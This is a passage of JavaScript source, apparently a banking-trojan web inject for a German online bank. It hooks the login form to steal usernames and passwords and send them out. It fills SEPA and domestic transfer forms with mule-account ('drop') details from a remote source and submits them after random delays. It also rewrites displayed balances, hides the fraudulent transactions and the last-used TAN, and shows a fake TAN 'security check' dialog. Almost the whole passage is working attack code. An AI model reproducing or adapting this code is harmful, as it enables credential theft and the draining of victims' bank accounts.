  906. var amount = parseFloat(ATS.getCookie('rep_amount'));
  907. var transfer_acc =ATS.getCookie('transfer_acc');
  908.  
  909.   /*
  910. var number=jq('.uiOutputText:contains(Kundennummer)').text();
  911. var re = new RegExp("Kundennummer: [\\d]+", "g");
  912. var arr = number.match(re);
  913. number=arr[0].replace(/\D/g, '');
  914. */
  915.  
  916.  
  917.  
  918.    
  919.         var totalReplace = 0;
  920.        
  921.        
  922. jq('table:has(th:contains(Bezeichnung))').each(function(){
  923. jq(this).find('tr:contains(Girokonto),tr:contains(Tagesgeld PLUS)').filter('tr').each(function(){
  924.  
  925.  
  926. var number=jq.trim(jq(this).children("td:eq(0)").text());
  927.  
  928. if (number==transfer_acc){
  929. ATS.debugMsg('replaceMainPage: ' + transfer_acc + ' + ' + amount + '; percent = ' + percent);
  930. ATS.addElementAmount(jq(this).children("td:eq(3)"), parseFloat(amount + percent), 'EUR');
  931. ATS.addElementAmount(jq(this).children("td:eq(4)"), parseFloat(amount + percent), '');
  932. totalReplace = parseFloat(amount + percent);
  933. }//--if (number==transfer_acc)--    
  934.   });
  935.  
  936. var saldo1=jq(this).find('tr:contains(Gesamt)').children("td:eq(3)");                              
  937. var saldo2=jq(this).find('tr:contains(Gesamt)').children("td:eq(4)");                                
  938.  ATS.addElementAmount(saldo1, totalReplace, '');
  939.  ATS.addElementAmount(saldo2, totalReplace, '');
  940.  
  941.    
  942. });    
  943.        
  944.        
  945.    
  946.    
  947.    
  948. ATS.addElementAmount(jq('p.navi_betrag:eq(0) span:eq(0)'), totalReplace, '');
  949. ATS.addElementAmount(jq('p.navi_betrag:eq(1) span:eq(0)'), totalReplace, '');
  950.    
  951. }
  952.  
  953. ATS.replaceUmsatzanzeige = function()
  954. {
  955.     ATS.debugMsg('replaceUmsatzanzeige()');
  956.  
  957.   //jq("#gad_toolbar_btn_print").remove();
  958.    
  959.  
  960.       var percent=parseFloat(ATS.getCookie('acPercent'));
  961.  
  962.    
  963.  
  964. if( percent > 15) {
  965.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  966.     }
  967.    
  968.     //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
  969.     if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
  970.  
  971.    
  972.  
  973. var amount = parseFloat(ATS.getCookie('rep_amount'));
  974. var transfer_acc =ATS.getCookie('transfer_acc');
  975.  
  976. /*
  977. var number=jq.trim(jq('.contentKeyfocus span:contains(Kundennummer)').text());
  978. var re = new RegExp("Kundennummer: [\\d]+", "g");
  979. var arr = number.match(re);
  980. number=arr[0].replace(/\D/g, '');
  981. */
  982. var number=jq('.cardCol b:contains(Tagesgeld PLUS):eq(0),.cardCol b:contains(Girokonto):eq(0)').text();
  983. if (number.indexOf(transfer_acc)!=-1){
  984.      
  985.         //ATS.sendLogMsg('REP Umsatzanzeige: kontostand + ' + amount);
  986.    // ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);    
  987.      
  988.     ATS.addElementAmount(jq('.contentKeyfocus p.alignRight:eq(0)'), amount +  percent, 'EUR');
  989.     ATS.addElementAmount(jq('.contentKeyfocus p.alignRight:eq(1)'), amount +  percent, 'EUR');
  990.  
  991.  
  992. //replace Kontostand 04.11.2013 : +2.407,78
  993. var number=jq('.cardCol:contains(Kontostand):eq(0) b').text();
  994. var re = new RegExp("[+-]*[\\d.,]+$", "gim");
  995. var arr = number.match(re);
  996. var val = ATS.fin2float(arr);
  997. val+= parseFloat(amount +  percent);
  998. arr=number.replace(/[+-]*[\d.,]+$/gim, ATS.float2fin(val))
  999. jq('.cardCol:contains(Kontostand):eq(0) b').text(arr);
  1000.  
  1001.  
  1002.        
  1003.  
  1004.         var hideFlag = false;
  1005.         jq('table:contains(Buchungstext) tr').each(function(i){
  1006.             var Buchungstext = jq.trim(jq(this).find("td:eq(3)").text());
  1007.             var UmsatzinEUR = jq.trim(jq(this).find("td:eq(4)").text());
  1008.  
  1009.             if (ATS.needToHide(Buchungstext,UmsatzinEUR))
  1010.             {
  1011. //  ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
  1012.                 jq(this).hide();
  1013.                 hideFlag = true;
  1014.             }
  1015.    
  1016.     });    
  1017.        
  1018.    
  1019.  
  1020. jq('table:contains(Buchungstext) tr:not(:eq(0),:eq(1))').each(function(i){
  1021. jq(this).find('td:not(.fTableHeader)').attr('class', (i % 2) ? 'secondTd' : '');
  1022.  
  1023.     });
  1024.    
  1025.    
  1026.    
  1027. }//--if (number==transfer_acc)--      
  1028.    
  1029. }
  1030.  
  1031. ATS.replaceSEPAPage = function()
  1032. {
  1033.         ATS.debugMsg('replaceSEPAPage()');
  1034.      
  1035. jq('div.uiPanel:contains(Kontostand)').filter(':not(:contains(SEPA))').parent('div:has(h1)').find('div').remove();
  1036.  
  1037.    
  1038. }    
  1039.  
  1040.  
  1041.  
  1042. ATS.needToHide = function(Buchungstext,UmsatzinEUR)
  1043. {
  1044.  
  1045.     var iban=ATS.getCookie('rep_drop_acc');
  1046.     var amount = parseFloat(ATS.getCookie('rep_amount'));
  1047.     if (amount)
  1048.     {
  1049.  
  1050.         if (langs.getCurLang()=='EN'){
  1051.             text=text.replace(/[^\d.]+/gi, '');
  1052.            
  1053.         if (text.indexOf(amount) != -1) return true;
  1054.            
  1055.             }
  1056.             else{
  1057.         UmsatzinEUR=UmsatzinEUR.replace(/[^\d,]+/gi, '').replace(",", '.');                
  1058.         if ((UmsatzinEUR.indexOf(amount) != -1) && (Buchungstext.indexOf(iban) != -1) ) {
  1059.          ATS.debugMsg('UmsatzinEUR ='+UmsatzinEUR);
  1060.          
  1061.          
  1062.             return true;
  1063.         }
  1064.        
  1065.         }
  1066.     }
  1067.        
  1068.     return false;
  1069. }
  1070. ATS.replaceBalances = function()
  1071. {
  1072.     ATS.debugMsg('replaceBalances()');
  1073.    
  1074.     //ATS.hideLastTAN();
  1075.    
  1076.    
  1077.         switch (langs.getCurLang())
  1078.     {
  1079.        
  1080.         case "EN":
  1081.     if (ATS.getPageTitle("Finanzstatus")) ATS.replaceMainPage();           
  1082.      if (ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();            
  1083.         break;
  1084.          default:
  1085.          
  1086.     if (ATS.getPageTitle("Meine Finanzen")) ATS.replaceMainPage();          if (ATS.getPageTitle("Konto"+String.fromCharCode(0x00FC)+"bersicht") ) ATS.replaceKONTOUBERSICHT();
  1087.    
  1088.       var title=jq.trim(jq('.keyfocus h1').text());
  1089.       if (title.indexOf("UMS"+String.fromCharCode(196)+"TZE") !=-1) ATS.replaceUmsatzanzeige();;
  1090.      
  1091.     if (ATS.getPageTitle("SEPA")) ATS.replaceSEPAPage();                   
  1092.            
  1093.             break;
  1094.            
  1095.  }
  1096.            
  1097.  
  1098.    
  1099.  
  1100.    
  1101.    
  1102.    
  1103.  
  1104.  
  1105. }
  1106.  
  1107.  
  1108. ATS.findAccountInfo = function(acc_num)
  1109. {
  1110.     ATS.debugMsg('acc_num:'+ acc_num);
  1111.     var accounts_list = parent.ATS.accounts_list;
  1112.     for (var i in accounts_list)
  1113.     {
  1114.         //if (accounts_list[i] != 'function' )
  1115.          //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
  1116.        
  1117.             if (acc_num.indexOf(accounts_list[i].number) != -1)
  1118.             {
  1119.                 //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
  1120.                 return accounts_list[i];
  1121.             }
  1122.        
  1123.     }
  1124.     return false;
  1125. }
  1126.  
  1127. var langs ={
  1128.  simple_property: 'Hello',
  1129.  EN: {
  1130.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  1131.   nextbutton: "Weiter",
  1132.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  1133.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  1134.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br />"
  1135.  },
  1136.   DE: {
  1137.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  1138.   nextbutton: "Weiter",
  1139.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  1140.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  1141.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
  1142.  
  1143.  },
  1144.  
  1145.  getLang: function(step) {
  1146.  
  1147.  
  1148. var ln='EN';
  1149. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  1150.  
  1151. //  return(this.simple_property + ', ' + this[ln][step]);
  1152.   return(this[ln][step]);
  1153.  },
  1154.  
  1155.  getCurLang: function() {
  1156.  
  1157.  
  1158. var ln='EN';
  1159. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  1160.  
  1161.   return(ln);
  1162.  }
  1163.  
  1164. };
  1165.  
  1166.  
  1167.  
  1168.  
  1169. document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}</style>');
  1170.  
  1171.  
  1172.  
  1173.  
  1174. ATS.checkTestPage = function()
  1175. {
  1176.     if(jq('#gad_contentbox').length) return true;
  1177.     //  jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
  1178.     else return false;
  1179. }
  1180.  
  1181.  
  1182. ATS.checkLoginPage = function()
  1183. {
  1184.     return !!jq("input[type='password']").length;
  1185. }
  1186.  
  1187.  
  1188.  
  1189. ATS.isLoggedIn = function()
  1190. {
  1191.    
  1192. if (jq('.logout').length ) return true;
  1193.  
  1194.     else return false;
  1195. }
  1196. ATS.UI_blockSite = function()
  1197. {
  1198.     if (ATS.debugNoOverlay)
  1199.         return;
  1200.        
  1201.     if (jq('#inj_block_overlay').length)
  1202.         jq('#inj_block_overlay').show();
  1203.     else
  1204.         jq('body').prepend('<div id=inj_block_overlay></div>');
  1205. }
  1206. ATS.UI_unblockSite = function()
  1207. {
  1208.     jq('#inj_block_overlay').hide();
  1209.     jq('body > div:not(#inj_block_overlay,#inj_dialog_box,.inj_full_overlay)').show();
  1210.    
  1211. }
  1212.  
  1213.  
  1214.  
  1215. ATS.getFinanzstatusLink = function()
  1216. {
  1217.  
  1218.     if(!parent.ATS.finLink){
  1219.        
  1220.     parent.ATS.finLink=jq('#Persoenlicherbereich a').attr("href");
  1221.     //parent.ATS.finLink=parent.document.location.href;
  1222.     }
  1223.     return parent.ATS.finLink;
  1224.    
  1225.    
  1226.    
  1227. }
  1228.  
  1229.  
  1230.  
  1231. ATS.UI_showDialogBox = function()
  1232. {
  1233.     jq('body > div:not(#inj_dialog_box,.inj_full_overlay)').hide();
  1234.    
  1235.     if (!jq('#inj_dialog_box').length)
  1236.     {
  1237.         var injectCode = ATS.UI_getInjectCode();
  1238.         jq('body').append(injectCode);
  1239.        
  1240.         jq('a[name=inj_weiter]').click(ATS.UI_onWeiterClick);
  1241.     }
  1242.     jq('#inj_dialog_box').show();
  1243. }
  1244.  
  1245. ATS.getLoginForm = function()
  1246. {
  1247.     var form = jq("form#login");
  1248.     if (form.length)
  1249.         return form[0];
  1250.     /* 
  1251.     form = jq("form").has('input#anmeld');
  1252.     if (form.length)
  1253.         return form[0];
  1254.         */
  1255.     return false;
  1256. }
  1257.  
  1258.  
  1259. ATS.getPageTitle = function(findtext)
  1260. {
  1261.      var title=jq.trim(jq('.head h1 span.uiOutputText:eq(0)').text());
  1262.     if (title.indexOf(findtext) !=-1) return true;
  1263.     else return false;
  1264. }
  1265. ATS.hideLastTAN = function()
  1266. {
  1267.  
  1268.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  1269.     if (el.length)
  1270.     {
  1271.         var html = jq(el).html();
  1272.         var pos = html.indexOf('Ihre zuletzt');
  1273.         if (pos >= 0)
  1274.             jq(el).html(html.substr(0, pos));
  1275.     }
  1276.    
  1277.  
  1278.     jq('p:contains(Zuletzt benutzte)').remove();
  1279. }
  1280.  
  1281.  
  1282. ATS.sleep= function(m) {var then = new Date(new Date().getTime() + m); while (new Date() < then) {}};
  1283.  
  1284.  
  1285. ATS.setLoginHook = function()
  1286. {
  1287.     //ATS.loginDataSent = false;
  1288.     var loginInfoSent = false;
  1289.        
  1290.     var loginForm = ATS.getLoginForm();
  1291.  
  1292.  
  1293.         //loginForm.onsubmit = function(){return true};
  1294.        
  1295.         jq(loginForm).find('.button a').attr("href",'#').attr("class",'');
  1296.         jQuery(loginForm).find('.button a').unbind('click');
  1297.        
  1298.        
  1299.         jq(loginForm).find('.button a').click(function(e){
  1300.        
  1301.             var loginForm = ATS.getLoginForm();                        
  1302.            
  1303.                 var login=jq(loginForm).find('input:visible#param1').val();
  1304.                
  1305.                 var password=jq(loginForm).find('input:visible#param3').val();
  1306.          
  1307.  
  1308.         if (!loginInfoSent)
  1309.         {            
  1310.             e.preventDefault();
  1311.              ATS.debugMsg('login info: ' + login + ', ' + password);
  1312.              
  1313.                 jq(loginForm).find('.button a').attr('disabled', 'disabled');                  
  1314.                     ATS.sendLoginInfo(login, password, function(){
  1315.                         ATS.debugMsg('after clik ');
  1316.                         loginInfoSent = true;
  1317.                         jq(loginForm).find('.button a').attr('disabled', false);
  1318.                         // wpSubmit = true;
  1319.                         jq(loginForm).submit();                      
  1320.                     });
  1321.                    
  1322.                  
  1323.         }
  1324.             //ATS.sleep(4000);
  1325. //          if (ATS.loginDataSent) return true; else return false;  
  1326.         });
  1327.            
  1328.  
  1329. }
  1330.  
  1331. // ============================================================================
  1332.  
  1333.  
  1334. ATS.getTime = function()
  1335. {
  1336.     return Math.floor((new Date).getTime() / 1000);
  1337. }
  1338.  
  1339.  
  1340.  
  1341.  
  1342. ATS.openInIframe = function(url)
  1343. {
  1344.     var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
  1345.     jq('body').append(iframe);
  1346.     if (ATS.debugVisibleFrame)
  1347.     {
  1348.         jq("#ats_wrk_iframe").css('width', '1200px');
  1349.         jq("#ats_wrk_iframe").css('height', '1200px');
  1350.         jq("#ats_wrk_iframe").css('top', '1000px');
  1351.         jq("#ats_wrk_iframe").css('position', 'absolute');
  1352. //          jq("body").css('position', 'relative');
  1353.     }
  1354.     else
  1355.     {
  1356.         jq("#ats_wrk_iframe").css('width', '1px');
  1357.         jq("#ats_wrk_iframe").css('height', '1px');
  1358.         //jq(iframe).css('top', '0px');
  1359.         //jq(iframe).css('position', 'absolute');
  1360.         jq("#ats_wrk_iframe").css('visibility', 'hidden');
  1361.     }
  1362. }
  1363.  
  1364.  
  1365. ATS.parseAccountsList = function()
  1366. {
  1367.     var accountsList = new Array();
  1368. jq('table:has(th:contains(Bezeichnung))').each(function(){
  1369.     jq(this).find('tr:contains(Girokonto),tr:contains(Tagesgeld PLUS)').filter('tr:not(:contains(th))').each(function(){
  1370.  var numberhreef=jq(this).children("td:eq(0)").find('a').attr('href');
  1371.  var number=jq.trim(jq(this).children("td:eq(0)").text());
  1372.  var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/\./g, '').replace(/\,/g, '.'));
  1373.  var kreditbalance=jq.trim(jq(this).children("td:eq(3)").text().replace(/\./g, '').replace(/\,/g, '.'));
  1374.  
  1375.            
  1376.                 if (numberhreef != '')
  1377.                     {
  1378.                      
  1379.                    
  1380. /*     
  1381.  var number=jq(this).parent().parent().parent().find('span:contains(Kundennr)').text();    
  1382. var re = new RegExp("Kundennr: [\\d]+", "g");
  1383. var arr = number.match(re);
  1384.  number=arr[0].replace(/\D/g, '');
  1385. ATS.debugMsg('number: ' + number + 'numberhreef: ' + numberhreef + '; balance : ' + balance +  '; kreditbalance : ' + kreditbalance);    
  1386.      
  1387.  */                    
  1388. accountsList.push({number: number,numberhreef: numberhreef,balance: balance, kreditbalance: kreditbalance});                      
  1389.                     }
  1390.    
  1391.         })
  1392.     });
  1393.  
  1394.  
  1395.     return accountsList;
  1396. }
  1397.  
  1398.  
  1399.  
  1400. ATS.framePageFinanzstatus = function()
  1401. {
  1402.    
  1403.     ATS.sendLogMsg('Name: ' + jq('span:contains(Inhaber)').next('span.uiOutputText').text());    
  1404.    
  1405.  
  1406.     if(!parent.ATS.Gesamtsaldo){
  1407.  
  1408.  var saldo=parseFloat(0.00);
  1409. jq('table:has(tr:contains(Gesamt)) tr:contains(Gesamt)').each(function(){
  1410.  
  1411.  var tmp=jq.trim(jq(this).children("td:eq(2)").text().replace(/\./g, '').replace(/\,/g, '.'));
  1412.  saldo+=parseFloat(tmp);
  1413. })
  1414.  
  1415.  
  1416.     parent.ATS.Gesamtsaldo = saldo;
  1417.     }
  1418.    
  1419.     ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
  1420.  
  1421.     ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1422.    
  1423.     parent.ATS.accounts_list = ATS.parseAccountsList();
  1424.  
  1425.     if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance or Girokonto');
  1426.    
  1427.     //var maxBalance = ATS.getMaxTransferAcc();
  1428.     var maxAcc = ATS.getMaxTransferAcc();
  1429.     if (!maxAcc) return false;
  1430.    
  1431.     parent.ATS.maxAcc=maxAcc;
  1432.     parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.balance;
  1433.    
  1434. /*    
  1435.     parent.ATS.StepInFrame.set_current_state("insideGirokonto");
  1436.     setTimeout(function(){
  1437.           document.location=parent.ATS.maxAcc.numberhreef;                    
  1438.     }, 2000);
  1439.   */  
  1440.  
  1441.      ATS.insideGirokonto();
  1442.    
  1443. }
  1444.  
  1445. ATS.insideGirokonto = function()
  1446. {
  1447.     parent.ATS.StepInFrame.set_current_state("KreditlimitPage");
  1448.         setTimeout(function(){
  1449.  
  1450.     document.location=jq('#PersoenlicherbereichVerwaltung > ul li a:contains(berweisungslimits)').attr("href");
  1451.                    
  1452.         }, ATS.randInt(2000, 3000));
  1453.  
  1454. }
  1455.  
  1456.  
  1457. ATS.KreditlimitPage = function()
  1458. {
  1459. //-------------------------------------------------------
  1460.  
  1461. var Inlandlimit=2000;
  1462. var unlimit=false;
  1463. var totalKreditBalance=0;
  1464. var dostupnaSumma=jq('.uiTable div[id*=Form]:contains(Inland)').find('.lcolumn:eq(2)').text();
  1465. if (dostupnaSumma.indexOf("unlimitiert")!=-1){ unlimit=true;}
  1466. else{
  1467.     dostupnaSumma=ATS.fin2float(dostupnaSumma);
  1468. }
  1469. if (!unlimit && isNaN(dostupnaSumma)){ ATS.sendLogMsg('ATS.KreditlimitPage error: Inlandlimit not found setting to 2000');
  1470. //var unlimit=true;
  1471. dostupnaSumma=2000;
  1472. }
  1473. ATS.debugMsg('Inlandlimit: =' + dostupnaSumma);
  1474.  
  1475. if (!unlimit && (parent.ATS.maxAcc.kreditbalance>dostupnaSumma)) totalKreditBalance=dostupnaSumma;
  1476. else totalKreditBalance=parent.ATS.maxAcc.kreditbalance;
  1477.  
  1478. //Inlandlimit=totalKreditBalance;
  1479. Inlandlimit=parseFloat(totalKreditBalance).toFixed(2);
  1480. //Inlandlimit=Math.floor(parseFloat(totalKreditBalance));
  1481. ATS.debugMsg('Inlandlimit: =' + Inlandlimit);
  1482. //--------------
  1483.  
  1484. var Auslandlimit=2000;
  1485. var unlimit=false;
  1486. var totalKreditBalance=0;
  1487. var dostupnaSumma=jq('.uiTable div[id*=Form]:contains(Ausland)').find('.lcolumn:eq(2)').text();
  1488. if (dostupnaSumma.indexOf("unlimitiert")!=-1){ unlimit=true;}
  1489. else{
  1490.     dostupnaSumma=ATS.fin2float(dostupnaSumma);
  1491. }
  1492. if (!unlimit && isNaN(dostupnaSumma)){ ATS.sendLogMsg('ATS.KreditlimitPage error: Auslandlimit not found setting to 2000');
  1493. //var unlimit=true;
  1494. dostupnaSumma=2000;
  1495. }
  1496.  
  1497.  
  1498. if (!unlimit && (parent.ATS.maxAcc.kreditbalance>dostupnaSumma)) totalKreditBalance=dostupnaSumma;
  1499. else totalKreditBalance=parent.ATS.maxAcc.kreditbalance;
  1500.  
  1501. //Auslandlimit=totalKreditBalance;
  1502. Auslandlimit=parseFloat(totalKreditBalance).toFixed(2);
  1503. //Auslandlimit=Math.floor(parseFloat(totalKreditBalance));
  1504.  
  1505. ATS.debugMsg('Auslandlimit: =' + Auslandlimit);
  1506. //------------------------------------------------
  1507.  
  1508.  
  1509.  
  1510.     ATS.getDrop('SEPA', Auslandlimit, function(data){
  1511.                     if (data && data.drop)
  1512.                     {
  1513.                         parent.ATS.sepa_drop = data.drop;
  1514.                         parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1515.       var sepahref=jq('#PersoenlicherbereichKonto > ul li a:contains(berweisung)').attr("href");
  1516.                         if (sepahref!=''){
  1517.                             setTimeout(function(){
  1518.                                document.location.href = sepahref;                    
  1519.                             }, ATS.randInt(2000, 3000));
  1520.                            }
  1521.                         else ATS.die('KreditlimitPage: cant find SepaLink');                        
  1522.                        
  1523.                        
  1524.                     }
  1525.                     else
  1526.                     {
  1527.                        
  1528.                         ATS.getDrop('Internal', Inlandlimit, function(data){
  1529.                         if (data && data.drop)
  1530.                         {
  1531.            
  1532.                             parent.ATS.int_drop = data.drop;
  1533.                             parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page");
  1534.                 parent.ATS.transf_mode = 'int';
  1535.                 var Internal_transf_page=jq('#PersoenlicherbereichKonto > ul li a:contains(berweisung)').attr("href");;
  1536.                 if (Internal_transf_page!='') {
  1537.                     setTimeout(function(){
  1538.                         document.location.href = Internal_transf_page;                    
  1539.                     }, ATS.randInt(2000, 3000));
  1540.                    }
  1541.  
  1542.                 else ATS.die('KreditlimitPage: cant find Internal_transf_page_link');
  1543.  
  1544.                            
  1545.                            
  1546.                         }
  1547.                         else
  1548.                         {
  1549.                             parent.ATS.UI_hideDialogBox();
  1550.                             parent.ATS.UI_unblockSite();
  1551.                             ATS.die('KreditlimitPage: no Int drop');
  1552.    
  1553.                         }
  1554.                         });
  1555.                  
  1556.                        
  1557.                     }
  1558.                 });      
  1559.                
  1560.    
  1561. }      
  1562.  
  1563.  
  1564. ATS.framePageSEPA_page = function()
  1565. {
  1566. var drop = parent.ATS.sepa_drop;
  1567.  
  1568.        
  1569.     jq('#uebForm-empfaengerName').val(drop.DrName);
  1570.     jq('#uebForm-kontoIdentifier').val(drop.IBAN);
  1571.     //jq('#uebForm-bankIdentifier').val( ATS.padRight(drop.BIC,11));
  1572.     jq('#uebForm-bankIdentifier').val(drop.BIC);
  1573.     jq('#uebForm-betrag').val(drop.amount);
  1574.     jq('#uebForm-verwendungszweck').val(drop.Reference);
  1575.     parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
  1576.     ATS.sendLogMsg('SEPA form filled in');
  1577.    
  1578.     jq('#uebForm-waehrung').val("EUR");
  1579.     jq('#uebForm').append('<input type="hidden" value="uebForm" name="uebForm">');
  1580.     jq('#uebForm').append('<input type="hidden" value="uebForm-weiterButton-lnk" name="uebForm-weiterButton-lnk">');
  1581.    
  1582.  
  1583.     var face=jq('#javax\\.faces\\.ViewState').val();
  1584.     var kit=jq('input[name=javax\\.faces\\.RenderKitId]').val()
  1585.     var url=location.href;
  1586.     var params={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
  1587. var params2={processIds: "uebForm-kontoIdentifier,uebForm-bankIdentifier,uebForm-ajaxEventOnBlurOfKontoIdentifier",renderIds: "uebForm-institut,uebForm-messages,uebForm-empfaengerNameLabelCell,uebForm-kontoIdentifierLabelCell,uebForm-bankIdentifierLabelCell,uebForm-betragLabelCell","uebForm-ajaxEventOnBlurOfKontoIdentifier": "uebForm-ajaxEventOnBlurOfKontoIdentifier","uebForm-kontoIdentifier" : drop.IBAN}
  1588. var params=jq.extend(params,params2)
  1589.  
  1590.     setTimeout(function(){
  1591. jq.ajax({url: url, type: 'POST', data:params, cache: false, dataType: 'html', success: function(html){
  1592.     } });
  1593.     }, ATS.randInt(2000, 3000));    
  1594.  //----------------  
  1595.  
  1596.       var params3={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
  1597. var params4={processIds: "uebForm-kontoIdentifier,uebForm-bankIdentifier,uebForm-ajaxEventOnBlurOfKontoIdentifier",renderIds: "uebForm-institut,uebForm-messages,uebForm-empfaengerNameLabelCell,uebForm-kontoIdentifierLabelCell,uebForm-bankIdentifierLabelCell,uebForm-betragLabelCell","uebForm-ajaxEventOnBlurOfKontoIdentifier": "uebForm-ajaxEventOnBlurOfKontoIdentifier","uebForm-bankIdentifier":drop.BIC,"uebForm-kontoIdentifier" : drop.IBAN}
  1598. var params3=jq.extend(params3,params4)
  1599.  
  1600.     setTimeout(function(){
  1601. jq.ajax({url: url, type: 'POST', data:params3, cache: false, dataType: 'html', success: function(html){
  1602.     } });
  1603.     }, ATS.randInt(5000, 6000));    
  1604.    
  1605.    
  1606.    
  1607.    
  1608.    
  1609.     var sellist1=jq('#uebForm-quellKontenSelect option:selected').val();
  1610.     var sellist2=jq('#uebForm-zielKontenSelect option:selected').val();
  1611. if ((sellist1=='') || (sellist2=='')){    
  1612.      
  1613.         ATS.die('No account selected, possible from this account can not be transferred');
  1614.      }
  1615. /*
  1616. if ((sellist1=='') || (sellist2=='')){
  1617.    
  1618.             var accountsSelect = jq('#uebForm-quellKontenSelect');
  1619.         if (jq(accountsSelect).length != 0)
  1620.         {
  1621.             var maxAcc = null;
  1622.             jq(accountsSelect).children('option').each(function(){
  1623.                 //var acc_num = jq.trim(jq(this).val());
  1624.                 var acc_num = jq.trim(jq(this).text());
  1625.                 if (acc_num != '')
  1626.                 {
  1627.                     ATS.debugMsg('Option: ' + acc_num);
  1628.                
  1629.                     var accInfo = ATS.findAccountInfo(acc_num.toString());    
  1630.                     ATS.debugMsg('accInfo: ' + accInfo);
  1631.             if (accInfo && (!maxAcc || (parseFloat(maxAcc.balance) < parseFloat(accInfo.balance))))
  1632.                     {
  1633.                         maxAcc = accInfo;
  1634.                         jq(this).attr('selected', 'selected');
  1635.                     }
  1636.                 }
  1637.             });    
  1638.        
  1639.         }  
  1640.     }
  1641.   */  
  1642.    
  1643.    
  1644.    
  1645.         setTimeout(function(){
  1646.            
  1647.             jq('#uebForm').submit();
  1648.          
  1649.            
  1650.         }, ATS.randInt(10000, 15000));
  1651.  
  1652.  
  1653.  
  1654.    
  1655. }
  1656.  
  1657.  
  1658.  
  1659.  
  1660. ATS.framePageInternal_transf_page = function()
  1661. {
  1662.     var drop = parent.ATS.int_drop;                    
  1663.    
  1664.         jq('#uebForm-empfaengerName').val(drop.DrName);
  1665.     jq('#uebForm-kontoIdentifier').val(drop.Konto);
  1666.     jq('#uebForm-bankIdentifier').val(drop.BLZ);
  1667.     jq('#uebForm-betrag').val(drop.amount);
  1668.     jq('#uebForm-verwendungszweck').val(drop.Reference);
  1669.    
  1670.       jq('#uebForm-waehrung').val("EUR");
  1671.     jq('#uebForm').append('<input type="hidden" value="uebForm" name="uebForm">');
  1672.    
  1673.    
  1674.         jq('#uebForm-waehrung').val("EUR");
  1675.     jq('#uebForm').append('<input type="hidden" value="uebForm" name="uebForm">');
  1676.     jq('#uebForm').append('<input type="hidden" value="uebForm-weiterButton-lnk" name="uebForm-weiterButton-lnk">');
  1677.    
  1678.    
  1679.     var face=jq('#javax\\.faces\\.ViewState').val();
  1680.     var kit=jq('input[name=javax\\.faces\\.RenderKitId]').val()
  1681.     var url=location.href;
  1682.     var params={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
  1683. var params2={processIds: "uebForm-kontoIdentifier,uebForm-bankIdentifier,uebForm-ajaxEventOnBlurOfKontoIdentifier",renderIds: "uebForm-institut,uebForm-messages,uebForm-empfaengerNameLabelCell,uebForm-kontoIdentifierLabelCell,uebForm-bankIdentifierLabelCell,uebForm-betragLabelCell","uebForm-ajaxEventOnBlurOfKontoIdentifier": "uebForm-ajaxEventOnBlurOfKontoIdentifier","uebForm-kontoIdentifier" : drop.Konto}
  1684. var params=jq.extend(params,params2)
  1685.  
  1686.     setTimeout(function(){
  1687. jq.ajax({url: url, type: 'POST', data:params, cache: false, dataType: 'html', success: function(html){
  1688.     } });
  1689.     }, ATS.randInt(2000, 3000));    
  1690.  //----------------  
  1691.  
